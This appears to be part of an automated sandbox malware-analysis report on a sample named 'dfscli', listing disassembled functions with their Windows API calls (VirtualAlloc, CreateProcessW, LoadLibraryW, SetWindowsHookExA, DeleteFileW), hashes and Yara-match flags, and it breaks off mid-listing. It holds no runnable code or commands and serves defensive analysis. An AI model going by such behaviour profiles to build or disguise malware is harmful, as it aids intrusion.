Instruction Fuzzy Hash: E381C2B1A183019FC719DFA4A49462BB6E6BBC4748F000D2DF556CB258EB74D9048FD3

Function 004297AA Relevance: 15.1, APIs: 10, Instructions: 99
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(0043F1BC,76230A60,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8), ref: 004297BB
GlobalAlloc.KERNELBASE(00000002,00000040,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8), ref: 0042980C
GlobalHandle.KERNEL32(006125A0), ref: 00429815
GlobalUnlock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 0042981F
GlobalReAlloc.KERNEL32(?,00000040,00002002), ref: 00429833
GlobalHandle.KERNEL32(006125A0), ref: 00429845
GlobalLock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 0042984C
LeaveCriticalSection.KERNEL32(?,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429855
GlobalLock.KERNEL32(00000000,?,?,0043F1A0,0043F1A0,?,00429CE6,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60), ref: 00429861
LeaveCriticalSection.KERNEL32(?), ref: 004298A9

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 4f9e3a5ef5ad01d73bbac885e9157687d52a2eef6912d29c00d5968687f22220
Instruction ID: c16d36367e021ba24902c865a556433996ae8c1a0eb80cc3bd54c7b43d994e5f
Opcode Fuzzy Hash: 4f9e3a5ef5ad01d73bbac885e9157687d52a2eef6912d29c00d5968687f22220
Instruction Fuzzy Hash: 43319A30700714AFDB20DF66D888A6ABBF9FB84344B44497EE546D3620D734ED06CB68

Function 0042A134 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104,?,?), ref: 0042A175
PathFindExtensionA.KERNELBASE(?), ref: 0042A18F
lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042A229
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042A256

Strings

.CHM, xrefs: 0042A21A
.INI, xrefs: 0042A24A
.HLP, xrefs: 0042A221

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ExtensionFileFindModuleNamePathlstrcatlstrcpy
String ID: .CHM$.HLP$.INI
API String ID: 2140653559-4017452060
Opcode ID: 1f62230ddda9a0eead22fd259ae79f4ed6fab4bf6a31e99d3694113894dfedf5
Instruction ID: bd75d3f52a36107bd73cc6bad142ef63f8b4208a48895ac81a5cbf6014c068f0
Opcode Fuzzy Hash: 1f62230ddda9a0eead22fd259ae79f4ed6fab4bf6a31e99d3694113894dfedf5
Instruction Fuzzy Hash: 19418C71600758DFCB30EFAAEC44ADA77E8EB08314F50482BE986D6241DB389955CF29

Function 0042A282 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000000,00000000,00425BE7,?,?,?,?,76230A60,00000000,?,0040E996,00000000), ref: 0042A28B
SetErrorMode.KERNELBASE(00000000,?,0040E996,00000000), ref: 0042A293
GetModuleHandleA.KERNEL32(user32.dll,0040E996,00000000), ref: 0042A2DE
GetProcAddress.KERNEL32(00000000,NotifyWinEvent), ref: 0042A2EE

Part of subcall function 0042A134: GetModuleFileNameA.KERNEL32(?,?,00000104,?,?), ref: 0042A175
Part of subcall function 0042A134: PathFindExtensionA.KERNELBASE(?), ref: 0042A18F
Part of subcall function 0042A134: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042A229
Part of subcall function 0042A134: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042A256

Strings

user32.dll, xrefs: 0042A2D9
NotifyWinEvent, xrefs: 0042A2E8
`#vp,$v, xrefs: 0042A2DE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ErrorModeModule$AddressExtensionFileFindHandleNamePathProclstrcatlstrcpy
String ID: NotifyWinEvent$`#vp,$v$user32.dll
API String ID: 4004864024-19817718
Opcode ID: 458393a66d8bd0e2f0924bc2239fc2bb7060a4c2f2eaa8a22abf50ff16afb230
Instruction ID: 1aae1a9dc3cd045b93222ce5a26779434126d71d87e6cd8d5dbcd172a642732a
Opcode Fuzzy Hash: 458393a66d8bd0e2f0924bc2239fc2bb7060a4c2f2eaa8a22abf50ff16afb230
Instruction Fuzzy Hash: 9701A2717002219FD724EF21A809A593BA8AF04300F4984AFF445D73A2DB38C880CF7A

Function 004254C2 Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 004254CF
GetSystemMetrics.USER32(0000000C), ref: 004254D6
GetSystemMetrics.USER32(00000002), ref: 004254DD
GetSystemMetrics.USER32(00000003), ref: 004254E7
GetDC.USER32(00000000), ref: 004254F1
GetDeviceCaps.GDI32(00000000,00000058), ref: 00425502
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0042550A
ReleaseDC.USER32(00000000,00000000), ref: 00425512

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: b06320392e429a04cf71825453b5b9399e0fdba567c3017782f8956d99a1d2f7
Instruction ID: 6a1c861a32fe4ac7800512cecdb92344e909a3b8a9975da52ba67c4561c5568e
Opcode Fuzzy Hash: b06320392e429a04cf71825453b5b9399e0fdba567c3017782f8956d99a1d2f7
Instruction Fuzzy Hash: A6F01D71A40704AEE720AF729C89F277BA4EB81B51F11493AF6418B2D0D6B598068F54

Function 022330D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 150
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000228), ref: 02233182

Strings

S=, xrefs: 02233226
&, xrefs: 0223328D
B, xrefs: 02233262

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &$B$S=
API String ID: 1279760036-3580750612
Opcode ID: 4b521b2d453ed485b4964c7d019078c9f0a1195a4c8206564795ce192a574a16
Instruction ID: 5fff627adcab5e9511c5d1e4d88bb91a0091beae034f6ef72a7779811a535692
Opcode Fuzzy Hash: 4b521b2d453ed485b4964c7d019078c9f0a1195a4c8206564795ce192a574a16
Instruction Fuzzy Hash: C451C7B1A243029BC719DEA8949852BB7E6FFD4744F104C5EF086CB258DB70DB498BD2

Function 02234BA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02234C21

Strings

.#v, xrefs: 02234C63, 02234C6E, 02234C8D
Ei, xrefs: 02234BB2
D, xrefs: 02234BE0

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$.#v$Ei
API String ID: 963392458-2687700827
Opcode ID: 536524d73150d234903e90576eaa7d9ed7a31ee2524f383329b7311f45224f6f
Instruction ID: db920037a7285f548e874873df86f1e5edc840882bf3a41fddc10e1a7f6bba8a
Opcode Fuzzy Hash: 536524d73150d234903e90576eaa7d9ed7a31ee2524f383329b7311f45224f6f
Instruction Fuzzy Hash: 6821B1B5B203026BE716EBF8AC54B6A37E2AFC0640F404C69F545CB284EFB4D9158BD1

Function 004281D2 Relevance: 6.1, APIs: 4, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,0043B2A4,00000000,00000001,?), ref: 00428215
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000004), ref: 00428235
RegCloseKey.ADVAPI32(?), ref: 00428279
RegCloseKey.ADVAPI32(00000000), ref: 0042828F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID:
API String ID: 1607946009-0
Opcode ID: 65fa2c3f979de50099cc2811b2363345d5be31521dc93f030b08f37819c87299
Instruction ID: fa71898e03329bcf94aa1d3a20f1a241a73731d4e52d53b435c0548dfa0eec47
Opcode Fuzzy Hash: 65fa2c3f979de50099cc2811b2363345d5be31521dc93f030b08f37819c87299
Instruction Fuzzy Hash: 9E216AB1E01228EFDF15CF96D848AAEBBF8FF94314F5040AEE405A6211DB745A01CF29

Function 0219002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,02190005), ref: 021900E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,02190005), ref: 02190111

Memory Dump Source

Source File: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2190000_dfscli.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 9b64a07251f5f2f26724ec7cbc941aeac0d7e949ac953b3b7d3ff38de1105709
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: D7D1DF71A883068FDF24CF69C88076AB7E1FF88318F18852DE895DB241E774E955CB91

Function 022336B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 02233777

Strings

Ei, xrefs: 022336CF

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: Ei
API String ID: 4033686569-3988083245
Opcode ID: 1a4eab572f3a903765ff23fe26fc2c1c4aad65efcaaf226eb19d3f89378d6d87
Instruction ID: e363d03a30651d21ca349afa6a17c5988db6a07cb8dc1d62208121304cbc8ded
Opcode Fuzzy Hash: 1a4eab572f3a903765ff23fe26fc2c1c4aad65efcaaf226eb19d3f89378d6d87
Instruction Fuzzy Hash: CD11BFB5F203016BD715F7F4A894A6B36E7AFC0644B04086CE456CB248EE78CA118BE1

Function 0040DDBD Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040DDDF

Part of subcall function 004108E8: EnterCriticalSection.KERNEL32(?,?,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00410910

RtlAllocateHeap.NTDLL(00000000,?,00431A20,0000000C,0040DE48,000000E0,0040DE73,?,0041086B,00000018,00431B30,00000008,00410901,?,?), ref: 0040DE20

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection__lock
String ID:
API String ID: 409319249-0
Opcode ID: 0be4bc3f3b2008a58ca10510bab6c21abc707aaf6d34d0de6824ed3c22b2e4db
Instruction ID: cb3ef9c9b0d75a7fffe9d60d5eea93ecefce8f5efa7861fcc474e081dc08dee6
Opcode Fuzzy Hash: 0be4bc3f3b2008a58ca10510bab6c21abc707aaf6d34d0de6824ed3c22b2e4db
Instruction Fuzzy Hash: 30F0C231D41A14A7DB20BFA1EC0675E7B30AB25728F20023BE9143A2E1C73C299986CC

Function 00410933 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040E8E0,00000001,?,00431A70,00000060), ref: 00410944

Part of subcall function 00410984: HeapAlloc.KERNEL32(00000000,00000140,0041096C,000003F8,?,00431A70,00000060), ref: 00410991

HeapDestroy.KERNEL32(?,00431A70,00000060), ref: 00410977

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 0c262e1b3af968b4c6dfc27b1994cb5ebb7051e99d81131d6ad7a3e46444b815
Instruction ID: 644ccde18484a5878455bc069f2a0ce95f43452f64f7cc8ffed50bff23627854
Opcode Fuzzy Hash: 0c262e1b3af968b4c6dfc27b1994cb5ebb7051e99d81131d6ad7a3e46444b815
Instruction Fuzzy Hash: E7E09AF1BB03089AFB206B716C1876676A4EB44346F10483BF240C82A2EFB8D5C19A0C

Function 0041F835 Relevance: 3.0, APIs: 2, Instructions: 15threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041F848
SetWindowsHookExA.USER32(000000FF,0041F6B7,00000000,00000000), ref: 0041F858

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID:
API String ID: 1904029216-0
Opcode ID: 701a3d6a2974d6ff03211ac8c2448b0ce0685527336f7c5a3be3efa98d3f99a2
Instruction ID: 92535d9c526e6fa1784d7b0884afd0ec4ee71ce80cfdde11631e7970a4356ca2
Opcode Fuzzy Hash: 701a3d6a2974d6ff03211ac8c2448b0ce0685527336f7c5a3be3efa98d3f99a2
Instruction Fuzzy Hash: 32D05E72B042606EDB217B72BC09B553A845B00320F9806AAF411911D2C7288C834B6E

Function 02235CA0 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 02235CCB

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c18f626bd62c2e601dedae607d7f27ce85d5ff8326e1735b070e030a7c522120
Instruction ID: a7008425a57ec5e33412e394bdf2e75d99925af604c04b986ca7cbd526e88a97
Opcode Fuzzy Hash: c18f626bd62c2e601dedae607d7f27ce85d5ff8326e1735b070e030a7c522120
Instruction Fuzzy Hash: F1D0C9A6B61301A6E601AAF0785472A25AB5FA0645F404819F549DA29CEE7489214AD1

Function 0041CDD7 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041CDDC

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e2d040b58d2e732b0d0dcea39a807528dcdbe6e0a658436ef4808abc9a245d1d
Instruction ID: 86b6000765a73317fef6ebdd1d3f7835681af8542c8e3a940374cd9bb61a5516
Opcode Fuzzy Hash: e2d040b58d2e732b0d0dcea39a807528dcdbe6e0a658436ef4808abc9a245d1d
Instruction Fuzzy Hash: 145173319402049FCB14DBA9CCC09EEB7F9EF49324F24452BE512E76D0D778A985CBA9

Function 021C1D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22393a0a231f58714c2abf88766f729b7b744dc00a807db8671df6b4b1cf26ba
Instruction ID: 49daa0df4f8a965b6ccf561f30a6983fd8226c824fa50cf98b9a78ade69b819d
Opcode Fuzzy Hash: 22393a0a231f58714c2abf88766f729b7b744dc00a807db8671df6b4b1cf26ba
Instruction Fuzzy Hash: DB41CA78A84109EFDB04CF44C494BAAB7B2FB98314F24C599E8199F355C775EA92CB80

Function 02236FB0 Relevance: 1.6, APIs: 1, Instructions: 107libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,022368DC), ref: 022370F2

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c604fecd2f357d0cd35e3c68154e47d7c3af0cb7dab060c071d8e2c53ccdbbba
Instruction ID: 9b2ced41c999442ca5a45b78ee36d5abc03ac4ebb41b76e00b316bc642c36f38
Opcode Fuzzy Hash: c604fecd2f357d0cd35e3c68154e47d7c3af0cb7dab060c071d8e2c53ccdbbba
Instruction Fuzzy Hash: DD31A1E5B3420267DE27AAF9649433B515F9B84244F64086AF043CF35CDEB9CD128BD6

Function 02236F10 Relevance: 1.5, APIs: 1, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,2564BE4F,0223704F,022368DC), ref: 02236F40

Memory Dump Source

Source File: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: true

Associated: 00000002.00000002.2117580571.0000000002230000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117609013.000000000223D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002240000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002245000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2117634381.0000000002252000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_dfscli.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c3d711c0ca32f0422ebe1e4e81bf2c4620ba86f4f24b7bd6bbb35e06b957768c
Instruction ID: 32c49b9775d694e3b7a3f54abddbe24539b001b80e5412cb69339c7507e8b41b
Opcode Fuzzy Hash: c3d711c0ca32f0422ebe1e4e81bf2c4620ba86f4f24b7bd6bbb35e06b957768c
Instruction Fuzzy Hash: FE0178B5B21301ABD715FBF4B89472A26EBAFC06947040CA8F006CB348EE38DD018BD0

Function 00429CA6 Relevance: 1.5, APIs: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00429CAB

Part of subcall function 004299F1: TlsAlloc.KERNEL32(?,00429CD5,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399,00425BC8,76230A60,00000000,?,0040E996,00000000), ref: 00429A13

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AllocH_prolog
String ID:
API String ID: 3910492588-0
Opcode ID: 391db097ecbc7f2e887088de165df358eb552572bb53b512a5a088e6feeae371
Instruction ID: e3d1adaf2064881ac0a353d79633cd097c0c2aad4d25d7745887e64319261521
Opcode Fuzzy Hash: 391db097ecbc7f2e887088de165df358eb552572bb53b512a5a088e6feeae371
Instruction Fuzzy Hash: F4016D35B20112DBDB29AF66F81166E77A2EBD6325F50453FE582D3390DB788C04CB98

Function 022342F0 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

